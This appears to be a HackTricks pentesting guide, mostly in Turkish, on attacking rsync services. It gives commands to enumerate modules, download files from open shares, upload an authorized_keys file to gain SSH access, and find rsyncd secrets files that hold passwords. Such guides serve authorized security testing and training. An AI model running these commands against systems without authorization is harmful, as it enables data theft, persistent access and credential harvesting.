873 - Pentesting Rsync
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
wikipedia adresinden:
rsync, bir bilgisayar ile harici bir sabit disk arasında ve ağlı bilgisayarlar arasında dosyaları verimli bir şekilde aktarmak ve senkronize etmek için bir yardımcı programdır; dosyaların değiştirilme zamanlarını ve boyutlarını karşılaştırarak çalışır.[3] Genellikle Unix benzeri işletim sistemlerinde bulunur. Rsync algoritması, ağ kullanımını minimize etmek için kullanılan bir delta kodlama türüdür. Zlib, ek veri sıkıştırması için kullanılabilir,[3] ve SSH veya stunnel güvenlik için kullanılabilir.
Varsayılan port: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Sayım
Afiş ve Manuel iletişim
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Paylaşılan Klasörleri Belirleme
Rsync modülleri, şifrelerle korunabilecek dizin paylaşımları olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediklerini kontrol etmek için aşağıdaki komutlar kullanılır:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Bazı paylaşımların listede görünmeyebileceğini, muhtemelen gizlendiğini unutmayın. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgileri ile kısıtlanmış olabilir, bu da "Erişim Engellendi" mesajı ile belirtilir.
Brute Force
Manuel Rsync Kullanımı
Bir modül listesi elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine dosyaları listelemek ve kopyalamak için:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Bu işlem dosyaları özyinelemeli olarak aktarır, niteliklerini ve izinlerini korur.
Kimlik bilgileri ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
İçerik yüklemek için, erişim için bir authorized_keys dosyası gibi, şunu kullanın:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Bu dosya içinde, bir secrets file parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.
References
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.